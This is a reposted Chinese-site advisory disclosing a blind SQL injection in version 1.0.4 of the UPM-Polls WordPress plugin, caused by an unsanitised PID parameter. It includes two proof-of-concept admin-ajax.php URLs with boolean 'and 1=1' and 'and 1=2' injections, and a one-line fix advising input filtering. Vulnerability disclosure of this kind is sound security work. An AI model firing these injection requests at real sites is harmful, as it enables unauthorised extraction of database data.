来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 前文:http://www.2cto.com/Article/201108/99254.html标题: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4作者: Saif El-Sherei www.2cto.com下载地址: http://downloads.wordpress.org/pl......
前文:http://www.2cto.com/Article/201108/99254.html
标题: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4 作者: Saif El-Sherei www.2cto.com 下载地址: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip 影响版本: 1.0.4 测试平台: wordpress 3.2.1,Firefox 4, XAMPP
程序相关信息:
Best Plugin to create Polls for your site. Everything is smoother, faster, and seamless like WordPress itself.
Poll Manager, Ability to set general and post/page specific polls, Ability to leaf over the polls Ability to add certain poll in certain post content Ability to show polls either with and without current results of polls
日记:
the Variable PID is not properly sanitized in the get request before insertion into the database query; allowing an attaacker or any user who can view poll results (supposedly all user) to use blind sql injection to extract database data and possibly compromise the whole server. a POC is provided with both true and false results.
测试示例1(TRUE):
http://www.2cto.com /wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and 1=1
"poll results for poll 2 is displayed"
测试示例2 (FALSE):
http://www.2cto.com /wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and 1=2
"Blank page is displayed"
www.2cto.com提供修复方案:
过滤该页面参数输入 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com